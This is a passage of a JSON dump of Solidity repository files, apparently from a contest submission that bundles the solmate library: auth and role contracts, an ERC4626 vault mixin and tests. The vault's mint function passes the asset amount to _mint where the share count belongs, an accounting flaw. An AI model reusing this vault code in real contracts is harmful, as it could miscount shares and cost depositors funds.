underlying.setDelegator(address(proxy1), true);\n        underlying.setDelegator(address(proxy2), true);\n\n        user1 = new User(proxy1);\n        user2 = new User(proxy2);\n\n        proxy1.transfer(address(user1), proxy1.totalSupply() / 2);\n        proxy2.transfer(address(user1), proxy1.totalSupply() / 2);\n    }\n\n    function testProxy(uint128 amt) public {\n        assertEq(proxy1.balanceOf(address(user1)), proxy2.balanceOf(address(user1)));\n        assertEq(proxy1.balanceOf(address(user2)), proxy2.balanceOf(address(user2)));\n\n        uint preBal1 = proxy2.balanceOf(address(user1));\n        uint preBal2 = proxy1.balanceOf(address(user2));\n\n        user1.transfer(address(user2), amt);\n        assertEq(proxy2.balanceOf(address(user1)), preBal1 - amt);\n        assertEq(proxy1.balanceOf(address(user2)), preBal2 + amt);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/package.json",
    "content": "{\n  \"name\": \"@rari-capital/solmate\",\n  \"license\": \"AGPL-3.0-only\",\n  \"version\": \"6.2.0\",\n  \"description\": \"Modern, opinionated and gas optimized building blocks for smart contract development.\",\n  \"files\": [\n    \"src/**/*.sol\"\n  ],\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/Rari-Capital/solmate.git\"\n  },\n  \"devDependencies\": {\n    \"prettier\": \"^2.3.1\",\n    \"prettier-plugin-solidity\": \"^1.0.0-beta.13\"\n  },\n  \"scripts\": {\n    \"lint\": \"prettier --write src/**/*.sol\"\n  }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/shell.nix",
    "content": "let\n  pkgs = import (builtins.fetchGit rec {\n    name = \"dapptools-${rev}\";\n    url = https://github.com/dapphub/dapptools;\n    rev = \"fb9476ded759da44c449eb391cc67bfb0df61112\";\n  }) {};\n\nin\n  pkgs.mkShell {\n    src = null;\n    name = \"rari-capital-solmate\";\n    buildInputs = with pkgs; [\n      pkgs.dapp\n    ];\n  }\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/auth/Auth.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Provides a flexible and updatable auth pattern which is completely separate from application logic.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)\n/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)\nabstract contract Auth {\n    event OwnerUpdated(address indexed user, address indexed newOwner);\n\n    event AuthorityUpdated(address indexed user, Authority indexed newAuthority);\n\n    address public owner;\n\n    Authority public authority;\n\n    constructor(address _owner, Authority _authority) {\n        owner = _owner;\n        authority = _authority;\n\n        emit OwnerUpdated(msg.sender, _owner);\n        emit AuthorityUpdated(msg.sender, _authority);\n    }\n\n    modifier requiresAuth() {\n        require(isAuthorized(msg.sender, msg.sig), \"UNAUTHORIZED\");\n\n        _;\n    }\n\n    function isAuthorized(address user, bytes4 functionSig) internal view virtual returns (bool) {\n        Authority auth = authority; // Memoizing authority saves us a warm SLOAD, around 100 gas.\n\n        // Checking if the caller is the owner only after calling the authority saves gas in most cases, but be\n        // aware that this makes protected functions uncallable even to the owner if the authority is out of order.\n        return (address(auth) != address(0) && auth.canCall(user, address(this), functionSig)) || user == owner;\n    }\n\n    function setAuthority(Authority newAuthority) public virtual {\n        // We check if the caller is the owner first because we want to ensure they can\n        // always swap out the authority even if it's reverting or using up a lot of gas.\n        require(msg.sender == owner || authority.canCall(msg.sender, address(this), msg.sig));\n\n        authority = newAuthority;\n\n        emit AuthorityUpdated(msg.sender, newAuthority);\n    }\n\n    function setOwner(address newOwner) public virtual requiresAuth {\n        owner = newOwner;\n\n        emit OwnerUpdated(msg.sender, newOwner);\n    }\n}\n\n/// @notice A generic interface for a contract which provides authorization data to an Auth instance.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)\n/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)\ninterface Authority {\n    function canCall(\n        address user,\n        address target,\n        bytes4 functionSig\n    ) external view returns (bool);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/auth/authorities/MultiRolesAuthority.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {Auth, Authority} from \"../Auth.sol\";\n\n/// @notice Flexible and target agnostic role based Authority that supports up to 256 roles.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/authorities/MultiRolesAuthority.sol)\ncontract MultiRolesAuthority is Auth, Authority {\n    /*///////////////////////////////////////////////////////////////\n                                  EVENTS\n    //////////////////////////////////////////////////////////////*/\n\n    event UserRoleUpdated(address indexed user, uint8 indexed role, bool enabled);\n\n    event PublicCapabilityUpdated(bytes4 indexed functionSig, bool enabled);\n\n    event RoleCapabilityUpdated(uint8 indexed role, bytes4 indexed functionSig, bool enabled);\n\n    event TargetCustomAuthorityUpdated(address indexed target, Authority indexed authority);\n\n    /*///////////////////////////////////////////////////////////////\n                               CONSTRUCTOR\n    //////////////////////////////////////////////////////////////*/\n\n    constructor(address _owner, Authority _authority) Auth(_owner, _authority) {}\n\n    /*///////////////////////////////////////////////////////////////\n                       CUSTOM TARGET AUTHORITY STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    mapping(address => Authority) public getTargetCustomAuthority;\n\n    /*///////////////////////////////////////////////////////////////\n                            ROLE/USER STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    mapping(address => bytes32) public getUserRoles;\n\n    mapping(bytes4 => bool) public isCapabilityPublic;\n\n    mapping(bytes4 => bytes32) public getRolesWithCapability;\n\n    function doesUserHaveRole(address user, uint8 role) public view virtual returns (bool) {\n        return (uint256(getUserRoles[user]) >> role) & 1 != 0;\n    }\n\n    function doesRoleHaveCapability(uint8 role, bytes4 functionSig) public view virtual returns (bool) {\n        return (uint256(getRolesWithCapability[functionSig]) >> role) & 1 != 0;\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                          AUTHORIZATION LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function canCall(\n        address user,\n        address target,\n        bytes4 functionSig\n    ) public view virtual override returns (bool) {\n        Authority customAuthority = getTargetCustomAuthority[target];\n\n        if (address(customAuthority) != address(0)) return customAuthority.canCall(user, target, functionSig);\n\n        return\n            isCapabilityPublic[functionSig] || bytes32(0) != getUserRoles[user] & getRolesWithCapability[functionSig];\n    }\n\n    /*///////////////////////////////////////////////////////////////\n               CUSTOM TARGET AUTHORITY CONFIGURATION LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function setTargetCustomAuthority(address target, Authority customAuthority) public virtual requiresAuth {\n        getTargetCustomAuthority[target] = customAuthority;\n\n        emit TargetCustomAuthorityUpdated(target, customAuthority);\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                  PUBLIC CAPABILITY CONFIGURATION LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function setPublicCapability(bytes4 functionSig, bool enabled) public virtual requiresAuth {\n        isCapabilityPublic[functionSig] = enabled;\n\n        emit PublicCapabilityUpdated(functionSig, enabled);\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                      USER ROLE ASSIGNMENT LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function setUserRole(\n        address user,\n        uint8 role,\n        bool enabled\n    ) public virtual requiresAuth {\n        if (enabled) {\n            getUserRoles[user] |= bytes32(1 << role);\n        } else {\n            getUserRoles[user] &= ~bytes32(1 << role);\n        }\n\n        emit UserRoleUpdated(user, role, enabled);\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                  ROLE CAPABILITY CONFIGURATION LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function setRoleCapability(\n        uint8 role,\n        bytes4 functionSig,\n        bool enabled\n    ) public virtual requiresAuth {\n        if (enabled) {\n            getRolesWithCapability[functionSig] |= bytes32(1 << role);\n        } else {\n            getRolesWithCapability[functionSig] &= ~bytes32(1 << role);\n        }\n\n        emit RoleCapabilityUpdated(role, functionSig, enabled);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/auth/authorities/RolesAuthority.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {Auth, Authority} from \"../Auth.sol\";\n\n/// @notice Role based Authority that supports up to 256 roles.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/authorities/RolesAuthority.sol)\n/// @author Modified from Dappsys (https://github.com/dapphub/ds-roles/blob/master/src/roles.sol)\ncontract RolesAuthority is Auth, Authority {\n    /*///////////////////////////////////////////////////////////////\n                                  EVENTS\n    //////////////////////////////////////////////////////////////*/\n\n    event UserRoleUpdated(address indexed user, uint8 indexed role, bool enabled);\n\n    event PublicCapabilityUpdated(address indexed target, bytes4 indexed functionSig, bool enabled);\n\n    event RoleCapabilityUpdated(uint8 indexed role, address indexed target, bytes4 indexed functionSig, bool enabled);\n\n    /*///////////////////////////////////////////////////////////////\n                               CONSTRUCTOR\n    //////////////////////////////////////////////////////////////*/\n\n    constructor(address _owner, Authority _authority) Auth(_owner, _authority) {}\n\n    /*///////////////////////////////////////////////////////////////\n                            ROLE/USER STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    mapping(address => bytes32) public getUserRoles;\n\n    mapping(address => mapping(bytes4 => bool)) public isCapabilityPublic;\n\n    mapping(address => mapping(bytes4 => bytes32)) public getRolesWithCapability;\n\n    function doesUserHaveRole(address user, uint8 role) public view virtual returns (bool) {\n        return (uint256(getUserRoles[user]) >> role) & 1 != 0;\n    }\n\n    function doesRoleHaveCapability(\n        uint8 role,\n        address target,\n        bytes4 functionSig\n    ) public view virtual returns (bool) {\n        return (uint256(getRolesWithCapability[target][functionSig]) >> role) & 1 != 0;\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                          AUTHORIZATION LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function canCall(\n        address user,\n        address target,\n        bytes4 functionSig\n    ) public view virtual override returns (bool) {\n        return\n            isCapabilityPublic[target][functionSig] ||\n            bytes32(0) != getUserRoles[user] & getRolesWithCapability[target][functionSig];\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                  ROLE CAPABILITY CONFIGURATION LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function setPublicCapability(\n        address target,\n        bytes4 functionSig,\n        bool enabled\n    ) public virtual requiresAuth {\n        isCapabilityPublic[target][functionSig] = enabled;\n\n        emit PublicCapabilityUpdated(target, functionSig, enabled);\n    }\n\n    function setRoleCapability(\n        uint8 role,\n        address target,\n        bytes4 functionSig,\n        bool enabled\n    ) public virtual requiresAuth {\n        if (enabled) {\n            getRolesWithCapability[target][functionSig] |= bytes32(1 << role);\n        } else {\n            getRolesWithCapability[target][functionSig] &= ~bytes32(1 << role);\n        }\n\n        emit RoleCapabilityUpdated(role, target, functionSig, enabled);\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                      USER ROLE ASSIGNMENT LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function setUserRole(\n        address user,\n        uint8 role,\n        bool enabled\n    ) public virtual requiresAuth {\n        if (enabled) {\n            getUserRoles[user] |= bytes32(1 << role);\n        } else {\n            getUserRoles[user] &= ~bytes32(1 << role);\n        }\n\n        emit UserRoleUpdated(user, role, enabled);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/mixins/ERC4626.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC20} from \"../tokens/ERC20.sol\";\nimport {SafeTransferLib} from \"../utils/SafeTransferLib.sol\";\nimport {FixedPointMathLib} from \"../utils/FixedPointMathLib.sol\";\n\n/// @notice Minimal ERC4646 tokenized Vault implementation.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/mixins/ERC4626.sol)\n/// @dev Do not use in production! ERC-4626 is still in the review stage and is subject to change.\nabstract contract ERC4626 is ERC20 {\n    using SafeTransferLib for ERC20;\n    using FixedPointMathLib for uint256;\n\n    /*///////////////////////////////////////////////////////////////\n                                 EVENTS\n    //////////////////////////////////////////////////////////////*/\n\n    event Deposit(address indexed from, address indexed to, uint256 amount, uint256 shares);\n\n    event Withdraw(address indexed from, address indexed to, uint256 amount, uint256 shares);\n\n    /*///////////////////////////////////////////////////////////////\n                               IMMUTABLES\n    //////////////////////////////////////////////////////////////*/\n\n    ERC20 public immutable asset;\n\n    uint256 internal immutable ONE;\n\n    constructor(\n        ERC20 _asset,\n        string memory _name,\n        string memory _symbol\n    ) ERC20(_name, _symbol, _asset.decimals()) {\n        asset = _asset;\n\n        unchecked {\n            ONE = 10**decimals; // >77 decimals is unlikely.\n        }\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                        DEPOSIT/WITHDRAWAL LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function deposit(uint256 amount, address to) public virtual returns (uint256 shares) {\n        // Check for rounding error since we round down in previewDeposit.\n        require((shares = previewDeposit(amount)) != 0, \"ZERO_SHARES\");\n\n        // Need to transfer before minting or ERC777s could reenter.\n        asset.safeTransferFrom(msg.sender, address(this), amount);\n\n        _mint(to, shares);\n\n        emit Deposit(msg.sender, to, amount, shares);\n\n        afterDeposit(amount, shares);\n    }\n\n    function mint(uint256 shares, address to) public virtual returns (uint256 amount) {\n        amount = previewMint(shares); // No need to check for rounding error, previewMint rounds up.\n\n        // Need to transfer before minting or ERC777s could reenter.\n        asset.safeTransferFrom(msg.sender, address(this), amount);\n\n        _mint(to, amount);\n\n        emit Deposit(msg.sender, to, amount, shares);\n\n        afterDeposit(amount, shares);\n    }\n\n    function withdraw(\n        uint256 amount,\n        address to,\n        address from\n    ) public virtual returns (uint256 shares) {\n        shares = previewWithdraw(amount); // No need to check for rounding error, previewWithdraw rounds up.\n\n        if (msg.sender != from) {\n            uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.\n\n            if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - shares;\n        }\n\n        beforeWithdraw(amount, shares);\n\n        _burn(from, shares);\n\n        emit Withdraw(from, to, amount, shares);\n\n        asset.safeTransfer(to, amount);\n    }\n\n    function redeem(\n        uint256 shares,\n        address to,\n        address from\n    ) public virtual returns (uint256 amount) {\n        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.\n\n        if (msg.sender != from && allowed != type(uint256).max) allowance[from][msg.sender] = allowed - shares;\n\n        // Check for rounding error since we round down in previewRedeem.\n        require((amount = previewRedeem(shares)) != 0, \"ZERO_ASSETS\");\n\n        beforeWithdraw(amount, shares);\n\n        _burn(from, shares);\n\n        emit Withdraw(from, to, amount, shares);\n\n        asset.safeTransfer(to, amount);\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                           ACCOUNTING LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function totalAssets() public view virtual returns (uint256);\n\n    function assetsOf(address user) public view virtual returns (uint256) {\n        return previewRedeem(balanceOf[user]);\n    }\n\n    function assetsPerShare() public view virtual returns (uint256) {\n        return previewRedeem(ONE);\n    }\n\n    function previewDeposit(uint256 amount) public view virtual returns (uint256) {\n        uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.\n\n        return supply == 0 ? amount : amount.mulDivDown(supply, totalAssets());\n    }\n\n    function previewMint(uint256 shares) public view virtual returns (uint256) {\n        uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.\n\n        return supply == 0 ? shares : shares.mulDivUp(totalAssets(), supply);\n    }\n\n    function previewWithdraw(uint256 amount) public view virtual returns (uint256) {\n        uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.\n\n        return supply == 0 ? amount : amount.mulDivUp(supply, totalAssets());\n    }\n\n    function previewRedeem(uint256 shares) public view virtual returns (uint256) {\n        uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.\n\n        return supply == 0 ? shares : shares.mulDivDown(totalAssets(), supply);\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                     DEPOSIT/WITHDRAWAL LIMIT LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function maxDeposit(address) public virtual returns (uint256) {\n        return type(uint256).max;\n    }\n\n    function maxMint(address) public virtual returns (uint256) {\n        return type(uint256).max;\n    }\n\n    function maxWithdraw(address user) public virtual returns (uint256) {\n        return assetsOf(user);\n    }\n\n    function maxRedeem(address user) public virtual returns (uint256) {\n        return balanceOf[user];\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                         INTERNAL HOOKS LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function beforeWithdraw(uint256 amount, uint256 shares) internal virtual {}\n\n    function afterDeposit(uint256 amount, uint256 shares) internal virtual {}\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/Auth.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {MockAuthChild} from \"./utils/mocks/MockAuthChild.sol\";\nimport {MockAuthority} from \"./utils/mocks/MockAuthority.sol\";\n\nimport {Authority} from \"../auth/Auth.sol\";\n\ncontract OutOfOrderAuthority is Authority {\n    function canCall(\n        address,\n        address,\n        bytes4\n    ) public pure override returns (bool) {\n        revert(\"OUT_OF_ORDER\");\n    }\n}\n\ncontract AuthTest is DSTestPlus {\n    MockAuthChild mockAuthChild;\n\n    function setUp() public {\n        mockAuthChild = new MockAuthChild();\n    }\n\n    function testSetOwnerAsOwner() public {\n        mockAuthChild.setOwner(address(0xBEEF));\n        assertEq(mockAuthChild.owner(), address(0xBEEF));\n    }\n\n    function testSetAuthorityAsOwner() public {\n        mockAuthChild.setAuthority(Authority(address(0xBEEF)));\n        assertEq(address(mockAuthChild.authority()), address(0xBEEF));\n    }\n\n    function testCallFunctionAsOwner() public {\n        mockAuthChild.updateFlag();\n    }\n\n    function testSetOwnerWithPermissiveAuthority() public {\n        mockAuthChild.setAuthority(new MockAuthority(true));\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.setOwner(address(this));\n    }\n\n    function testSetAuthorityWithPermissiveAuthority() public {\n        mockAuthChild.setAuthority(new MockAuthority(true));\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.setAuthority(Authority(address(0xBEEF)));\n    }\n\n    function testCallFunctionWithPermissiveAuthority() public {\n        mockAuthChild.setAuthority(new MockAuthority(true));\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.updateFlag();\n    }\n\n    function testSetAuthorityAsOwnerWithOutOfOrderAuthority() public {\n        mockAuthChild.setAuthority(new OutOfOrderAuthority());\n        mockAuthChild.setAuthority(new MockAuthority(true));\n    }\n\n    function testFailSetOwnerAsNonOwner() public {\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.setOwner(address(0xBEEF));\n    }\n\n    function testFailSetAuthorityAsNonOwner() public {\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.setAuthority(Authority(address(0xBEEF)));\n    }\n\n    function testFailCallFunctionAsNonOwner() public {\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.updateFlag();\n    }\n\n    function testFailSetOwnerWithRestrictiveAuthority() public {\n        mockAuthChild.setAuthority(new MockAuthority(false));\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.setOwner(address(this));\n    }\n\n    function testFailSetAuthorityWithRestrictiveAuthority() public {\n        mockAuthChild.setAuthority(new MockAuthority(false));\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.setAuthority(Authority(address(0xBEEF)));\n    }\n\n    function testFailCallFunctionWithRestrictiveAuthority() public {\n        mockAuthChild.setAuthority(new MockAuthority(false));\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.updateFlag();\n    }\n\n    function testFailSetOwnerAsOwnerWithOutOfOrderAuthority() public {\n        mockAuthChild.setAuthority(new OutOfOrderAuthority());\n        mockAuthChild.setOwner(address(0));\n    }\n\n    function testFailCallFunctionAsOwnerWithOutOfOrderAuthority() public {\n        mockAuthChild.setAuthority(new OutOfOrderAuthority());\n        mockAuthChild.updateFlag();\n    }\n\n    function testSetOwnerAsOwner(address newOwner) public {\n        mockAuthChild.setOwner(newOwner);\n        assertEq(mockAuthChild.owner(), newOwner);\n    }\n\n    function testSetAuthorityAsOwner(Authority newAuthority) public {\n        mockAuthChild.setAuthority(newAuthority);\n        assertEq(address(mockAuthChild.authority()), address(newAuthority));\n    }\n\n    function testSetOwnerWithPermissiveAuthority(address deadOwner, address newOwner) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setAuthority(new MockAuthority(true));\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.setOwner(newOwner);\n    }\n\n    function testSetAuthorityWithPermissiveAuthority(address deadOwner, Authority newAuthority) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setAuthority(new MockAuthority(true));\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.setAuthority(newAuthority);\n    }\n\n    function testCallFunctionWithPermissiveAuthority(address deadOwner) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setAuthority(new MockAuthority(true));\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.updateFlag();\n    }\n\n    function testFailSetOwnerAsNonOwner(address deadOwner, address newOwner) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.setOwner(newOwner);\n    }\n\n    function testFailSetAuthorityAsNonOwner(address deadOwner, Authority newAuthority) public {\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.setAuthority(newAuthority);\n    }\n\n    function testFailCallFunctionAsNonOwner(address deadOwner) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.updateFlag();\n    }\n\n    function testFailSetOwnerWithRestrictiveAuthority(address deadOwner, address newOwner) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setAuthority(new MockAuthority(false));\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.setOwner(newOwner);\n    }\n\n    function testFailSetAuthorityWithRestrictiveAuthority(address deadOwner, Authority newAuthority) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setAuthority(new MockAuthority(false));\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.setAuthority(newAuthority);\n    }\n\n    function testFailCallFunctionWithRestrictiveAuthority(address deadOwner) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setAuthority(new MockAuthority(false));\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.updateFlag();\n    }\n\n    function testFailSetOwnerAsOwnerWithOutOfOrderAuthority(address deadOwner) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setAuthority(new OutOfOrderAuthority());\n        mockAuthChild.setOwner(deadOwner);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/Bytes32AddressLib.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\n\nimport {Bytes32AddressLib} from \"../utils/Bytes32AddressLib.sol\";\n\ncontract Bytes32AddressLibTest is DSTestPlus {\n    function testFillLast12Bytes() public {\n        assertEq(\n            Bytes32AddressLib.fillLast12Bytes(0xfEEDFaCEcaFeBEEFfEEDFACecaFEBeeFfeEdfAce),\n            0xfeedfacecafebeeffeedfacecafebeeffeedface000000000000000000000000\n        );\n    }\n\n    function testFromLast20Bytes() public {\n        assertEq(\n            Bytes32AddressLib.fromLast20Bytes(0xfeedfacecafebeeffeedfacecafebeeffeedfacecafebeeffeedfacecafebeef),\n            0xCAfeBeefFeedfAceCAFeBEEffEEDfaCecafEBeeF\n        );\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/CREATE3.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {WETH} from \"../tokens/WETH.sol\";\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {MockERC20} from \"./utils/mocks/MockERC20.sol\";\nimport {MockAuthChild} from \"./utils/mocks/MockAuthChild.sol\";\n\nimport {CREATE3} from \"../utils/CREATE3.sol\";\n\ncontract CREATE3Test is DSTestPlus {\n    function testDeployERC20() public {\n        bytes32 salt = keccak256(bytes(\"A salt!\"));\n\n        MockERC20 deployed = MockERC20(\n            CREATE3.deploy(\n                salt,\n                abi.encodePacked(type(MockERC20).creationCode, abi.encode(\"Mock Token\", \"MOCK\", 18)),\n                0\n            )\n        );\n\n        assertEq(address(deployed), CREATE3.getDeployed(salt));\n\n        assertEq(deployed.name(), \"Mock Token\");\n        assertEq(deployed.symbol(), \"MOCK\");\n        assertEq(deployed.decimals(), 18);\n    }\n\n    function testFailDoubleDeploySameBytecode() public {\n        bytes32 salt = keccak256(bytes(\"Salty...\"));\n\n        CREATE3.deploy(salt, type(MockAuthChild).creationCode, 0);\n        CREATE3.deploy(salt, type(MockAuthChild).creationCode, 0);\n    }\n\n    function testFailDoubleDeployDifferentBytecode() public {\n        bytes32 salt = keccak256(bytes(\"and sweet!\"));\n\n        CREATE3.deploy(salt, type(WETH).creationCode, 0);\n        CREATE3.deploy(salt, type(MockAuthChild).creationCode, 0);\n    }\n\n    function testDeployERC20(\n        bytes32 salt,\n        string calldata name,\n        string calldata symbol,\n        uint8 decimals\n    ) public {\n        MockERC20 deployed = MockERC20(\n            CREATE3.deploy(salt, abi.encodePacked(type(MockERC20).creationCode, abi.encode(name, symbol, decimals)), 0)\n        );\n\n        assertEq(address(deployed), CREATE3.getDeployed(salt));\n\n        assertEq(deployed.name(), name);\n        assertEq(deployed.symbol(), symbol);\n        assertEq(deployed.decimals(), decimals);\n    }\n\n    function testFailDoubleDeploySameBytecode(bytes32 salt, bytes calldata bytecode) public {\n        CREATE3.deploy(salt, bytecode, 0);\n        CREATE3.deploy(salt, bytecode, 0);\n    }\n\n    function testFailDoubleDeployDifferentBytecode(\n        bytes32 salt,\n        bytes calldata bytecode1,\n        bytes calldata bytecode2\n    ) public {\n        CREATE3.deploy(salt, bytecode1, 0);\n        CREATE3.deploy(salt, bytecode2, 0);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/DSTestPlus.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\n\ncontract DSTestPlusTest is DSTestPlus {\n    function testBound() public {\n        assertEq(bound(5, 0, 4), 0);\n        assertEq(bound(0, 69, 69), 69);\n        assertEq(bound(0, 68, 69), 68);\n        assertEq(bound(10, 150, 190), 174);\n        assertEq(bound(300, 2800, 3200), 3107);\n        assertEq(bound(9999, 1337, 6666), 4669);\n    }\n\n    function testFailBoundMinBiggerThanMax() public pure {\n        bound(5, 100, 10);\n    }\n\n    function testBound(\n        uint256 num,\n        uint256 min,\n        uint256 max\n    ) public {\n        if (min > max) (min, max) = (max, min);\n\n        uint256 bounded = bound(num, min, max);\n\n        assertGe(bounded, min);\n        assertLe(bounded, max);\n    }\n\n    function testFailBoundMinBiggerThanMax(\n        uint256 num,\n        uint256 min,\n        uint256 max\n    ) public pure {\n        if (max == min) {\n            unchecked {\n                min++; // Overflow is handled below.\n            }\n        }\n\n        if (max > min) (min, max) = (max, min);\n\n        bound(num, min, max);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/ERC1155.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {DSInvariantTest} from \"./utils/DSInvariantTest.sol\";\n\nimport {MockERC1155} from \"./utils/mocks/MockERC1155.sol\";\nimport {ERC1155User} from \"./utils/users/ERC1155User.sol\";\n\nimport {ERC1155TokenReceiver} from \"../tokens/ERC1155.sol\";\n\ncontract ERC1155Recipient is ERC1155TokenReceiver {\n    address public operator;\n    address public from;\n    uint256 public id;\n    uint256 public amount;\n    bytes public mintData;\n\n    function onERC1155Received(\n        address _operator,\n        address _from,\n        uint256 _id,\n        uint256 _amount,\n        bytes calldata _data\n    ) public override returns (bytes4) {\n        operator = _operator;\n        from = _from;\n        id = _id;\n        amount = _amount;\n        mintData = _data;\n\n        return ERC1155TokenReceiver.onERC1155Received.selector;\n    }\n\n    address public batchOperator;\n    address public batchFrom;\n    uint256[] internal _batchIds;\n    uint256[] internal _batchAmounts;\n    bytes public batchData;\n\n    function batchIds() external view returns (uint256[] memory) {\n        return _batchIds;\n    }\n\n    function batchAmounts() external view returns (uint256[] memory) {\n        return _batchAmounts;\n    }\n\n    function onERC1155BatchReceived(\n        address _operator,\n        address _from,\n        uint256[] calldata _ids,\n        uint256[] calldata _amounts,\n        bytes calldata _data\n    ) external override returns (bytes4) {\n        batchOperator = _operator;\n        batchFrom = _from;\n        _batchIds = _ids;\n        _batchAmounts = _amounts;\n        batchData = _data;\n\n        return ERC1155TokenReceiver.onERC1155BatchReceived.selector;\n    }\n}\n\ncontract RevertingERC1155Recipient is ERC1155TokenReceiver {\n    function onERC1155Received(\n        address,\n        address,\n        uint256,\n        uint256,\n        bytes calldata\n    ) public pure override 